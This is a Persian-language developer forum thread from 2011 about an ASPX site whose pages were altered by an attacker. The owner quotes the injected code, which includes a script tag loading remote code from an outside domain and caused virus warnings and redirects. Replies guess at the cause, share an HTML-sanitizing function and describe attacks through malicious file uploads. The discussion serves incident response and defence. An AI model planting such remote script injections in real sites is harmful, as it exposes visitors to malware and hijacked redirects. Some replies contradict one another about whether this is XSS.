PDA

View Full Version : سوال: شناسایی یه حمله ویروسی به سایت



rezaei manesh
سه شنبه 01 آذر 1390, 14:02 عصر
سلام
من امروز به مورد جالبی بر خوردم که گفتم بهتر اینجا بزارم تا دوستان در موردش نظر بدن
یک از صفحات یک سایت با aspx که مستر پیج هم داره امروز دیدم خودکار تغییر کرده
خودکار که چه عرض کنم توسط فردی که به سایت حمله کرده ایشون کد زیر رو به سایت اضافه کردن که باعث می شه سایت برای بار اول خطای ویروز بده و برای دفعه بعد به یک سایت دیگه ریدایرکت بشه
این چیه و چطوری اضافه شده و چکار میشه کرد که جلوی افزودن مجددش رو گرفت!


<head><script src="http://sweepstakesandcontestsinfo.com/plk.php?html=1"></script>
<noscript><div style="display:none;">
<img src="//pixel.quantserve.com/pixel/p-b2feqtE6zTH7s.gif" border="0" height="1" width="1" alt="Quantcast"/>
</div>
</noscript><!-- End Quantcast tag --></head><body><script type="text/javascript">
__compete_code = '2a0bd6565c931b9df98f22a47415f8e3';
(function () {
var s = document.createElement('script'),
e = document.getElementsByTagName('script')[0];
s.src = (document.location.protocol.toLowerCase() === 'https:' ? 'https:' : 'http:') +
'//c.compete.com/bootstrap/2a0bd6565c931b9df98f22a47415f8e3/bootstrap.js';
s.type = 'text/javascript';
s.async = true;
if (e) { e.parentNode.insertBefore(s, e); }
} ());
</script></body>

کد بالا اول صفحه قرار گرفته و کد پایین آخر صفحه کل صفحه رو هم پیوست می کنم
<script src="http://sweepstakesandcontestsinfo.com/plk.php"></script>

persian_bigboy
سه شنبه 01 آذر 1390, 14:10 عصر
سلام حامد جان ، خسته نباشی
به این نوع حملات میگن xss

persian_bigboy
سه شنبه 01 آذر 1390, 14:16 عصر
Public Shared Function ConvertHTML2Text(ByVal TextHTML As String, Optional ByVal ShowLink As Boolean = False) As String
Dim regEx As New Text.RegularExpressions.Regex(String.Empty, Text.RegularExpressions.RegexOptions.Multiline Or Text.RegularExpressions.RegexOptions.IgnoreCase)
If InStr(1, TextHTML, "<body", CompareMethod.Text) > 0 Then TextHTML = Right(TextHTML, TextHTML.Length - InStr(1, TextHTML, "<body", CompareMethod.Text) + 1)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "\s+", " ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<br[^>]*>|<p[^>]*>|<div[^>]*>|<tr[^>]*>|<li[^>]*>", vbCrLf)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<td[^>]*>", vbTab)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<style[^>]*>.*</style>", String.Empty)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<script[^>]*>.*</script>", String.Empty)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]*)['|""][^>]*>\1</a>", "")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>(.*)</a>", "")
If ShowLink = True Then
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]*)['|""][^>]*>\1</a>", " $1 ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>(.*)</a>", " $2 $1 ")
End If
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>([^<]*)", " $2 $1 ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<[^>]*>", " ")
TextHTML = HttpContext.Current.Server.HtmlDecode(TextHTML)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "^ +", String.Empty)
Do While TextHTML.Contains(" ")
TextHTML = TextHTML.Replace(" ", " ")
Loop
Do While TextHTML.Contains(vbCrLf & vbCrLf & vbCrLf)
TextHTML = TextHTML.Replace(vbCrLf & vbCrLf & vbCrLf, vbCrLf & vbCrLf)
Loop
Return TextHTML
End Function

مهدی کرامتی
سه شنبه 01 آذر 1390, 14:16 عصر
فرد حمله کننده از یک نقطه ضعف امنیتی در نرم افزار شما و یا نرم افزارهای نصب شده بر روی سرور سوء استفاده کرده بطوری که توانسته دسترسی ویرایش فایل ها را پیدا کند. بیشتر به نظر می آید سرور شما آلوده است.

Masterhame
پنج شنبه 10 آذر 1390, 16:40 عصر
سلام
من هم یکبار هدف یکی از این حمله ها قرار گرفتم. واقعاً از ابتکاری که مهاجم استفاده کرده بود خوشم اومد و تقریباً روش کارش رو یاد گرفتم.
البته اون روش با این روش قدری متفاوت بود.
توی اون روش نیازی به دسترسی داشتن به قابلیت write نیاز نیست. چون مهاجم برای شما کدش رو تحت عنوان یک فایل attachment که شما ازش درخواست کردید ارسال می کنه و شما هم از همه جا بی خبر فایل رو باز می کنید و اسکریپت های توی فایل اجرا میشه و تغییراتی که مد نظر مهاجم هست توی سایت بوجود می یاد.
حالا مهاجم اگه از این هم زرنگتر باشه با استفاده از اون کد یه صفحه ای مثل صفحه login برای خودش می تونه بسازه و از اونجا به بعد به تمام سایت شما دسترسی داشته باشه

معمولاً شروع این حمله ها به این ترتیب هست که توی فرمهایی که شما از کاربراتون فایلهایی مثل رزومه، مقاله، کد و یا چیزهای مشابه می خواهید یک فایل html حاوی اسکریپت یا یک فایل asp ارسال می کنند. شما هم این فایل رو موقع بررسی کاربر باز می کنید و ممکنه حتی اطلاعات کاملی از کاربر مربوطه ببینید ولی اصل قضیه در پس پرده اجرا شده و مهاجم به اهداف اولیه خودش رسیده.

پس یک نکته مهم اینه که همیشه به شدت مواظب فایلهایی که کاربرها براتون ارسال می کنند باشید. من برای جلوگیری اولیه از اینجور حمله امکان آپلود فایلهای asp، aspx و یه سری فایلهای دیگه (بسته به نوع فایل مورد انتظار از کاربر) رو می بندم.

rahmatr
پنج شنبه 10 آذر 1390, 20:56 عصر
این چیه و چطوری اضافه شده و چکار میشه کرد که جلوی افزودن مجددش رو گرفت!

آدرس سایتی که این بلا سرش اومده چی هست؟ شاید بتوان فهمید که چطوری اضافه شده چون راههای مختلفی برای این کار هست.

crazy_1892
پنج شنبه 10 آذر 1390, 21:36 عصر
Public Shared Function ConvertHTML2Text(ByVal TextHTML As String, Optional ByVal ShowLink As Boolean = False) As String
Dim regEx As New Text.RegularExpressions.Regex(String.Empty, Text.RegularExpressions.RegexOptions.Multiline Or Text.RegularExpressions.RegexOptions.IgnoreCase)
If InStr(1, TextHTML, "<body", CompareMethod.Text) > 0 Then TextHTML = Right(TextHTML, TextHTML.Length - InStr(1, TextHTML, "<body", CompareMethod.Text) + 1)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "\s+", " ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<br[^>]*>|<p[^>]*>|<div[^>]*>|<tr[^>]*>|<li[^>]*>", vbCrLf)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<td[^>]*>", vbTab)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<style[^>]*>.*</style>", String.Empty)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<script[^>]*>.*</script>", String.Empty)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]*)['|""][^>]*>\1</a>", "")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>(.*)</a>", "")
If ShowLink = True Then
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]*)['|""][^>]*>\1</a>", " $1 ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>(.*)</a>", " $2 $1 ")
End If
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<a[^>]+href=['|""]([^'|""]+)['|""][^>]*>([^<]*)", " $2 $1 ")
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "<[^>]*>", " ")
TextHTML = HttpContext.Current.Server.HtmlDecode(TextHTML)
TextHTML = Text.RegularExpressions.Regex.Replace(TextHTML, "^ +", String.Empty)
Do While TextHTML.Contains(" ")
TextHTML = TextHTML.Replace(" ", " ")
Loop
Do While TextHTML.Contains(vbCrLf & vbCrLf & vbCrLf)
TextHTML = TextHTML.Replace(vbCrLf & vbCrLf & vbCrLf, vbCrLf & vbCrLf)
Loop
Return TextHTML
End Function


دوست عزیز این تابعی که گذاشتین میشه یکم راجبش توضیح بدین و روش استفاده را بگین؟؟

aminghaderi
جمعه 11 آذر 1390, 12:04 عصر
فرد حمله کننده از یک نقطه ضعف امنیتی در نرم افزار شما و یا نرم افزارهای نصب شده بر روی سرور سوء استفاده کرده بطوری که توانسته دسترسی ویرایش فایل ها را پیدا کند. بیشتر به نظر می آید سرور شما آلوده است.
من هم با این نظر موافقم .
به نظر من نفوزگر از یه راهی تونسته یه اسکریپت سروری بروی هاست شما اجرا کنه و توسط اون اسکریپت فایل مورد نظرش (x.aspx) رو می خواند و ویرایش می کند؟!
برای کشف حمله بر اساس این الگریتم کافیست ، هاستینگ خودتون رو عوض کنید و فایل های اصلی پروژه را مجدد آپ کنید.
اگر این حمله به قوت خودش باقی بود ، این بار باید کد ها بررسی شود و ....

به این نوع حملات میگن xss
حملات XSS متوجه کاربر می شود نه سرور یا App.
برای مثال پسورد پنل کاربر هک می شود نه اجرای یه اسکرپیت بروی سایت ، اون هم داخل فایل .

Slytherin
جمعه 11 آذر 1390, 16:37 عصر
حملات XSS متوجه کاربر می شود نه سرور یا App.
برای مثال پسورد پنل کاربر هک می شود نه اجرای یه اسکرپیت بروی سایت ، اون هم داخل فایل .
تا جایی که من می دونم ما دو نوع حمله XSS داریم.
نوعی به همان شکل هست که شما می فرمایید و معمولا در قسمت هایی مثل سرچ سایت وجود دارد.
نوعی هم به شکلی است که محتویات صفحه ای را به طور کامل تغییر می دهد. مثلا در فروم هایی قدیمی که استفاده از تگ اچ تی ام ال فعال بود میشد همچین چیزی رو دید.
البته من به طور قطع نمیگم که مشکل این دوستمون از XSS هست ولی شاید از اون هم باشه...
به قول جناب rahmatr باید آدرس اصلی سایت رو داشت و اون رو اسکن کرد تا بشه به نتیجه قطعی رسید.

rezaei manesh
یک شنبه 13 آذر 1390, 13:43 عصر
سلام به همه دوستان
موقع ورد اطلاعات توسط کاربر در حد ممکن اسکریپت ها کنترل می شه نمی دونم باز از اون هست یا نه -البته جایی هم برای اپلود فایل توسط کاربر موجود هست که باید از بد شانسی فایل های html , asp,aspx,php رو اپلود کنه یا فشرده شده این ها رو
اسم سایت رو از من خواستن که فاش نکنم شرمنده اما یک سایت خارجی هست
در ضمن همون روز که این مشکل روئیت شد هاست تعویض گردید و تا الان مشکل مجددا به وجود نیامده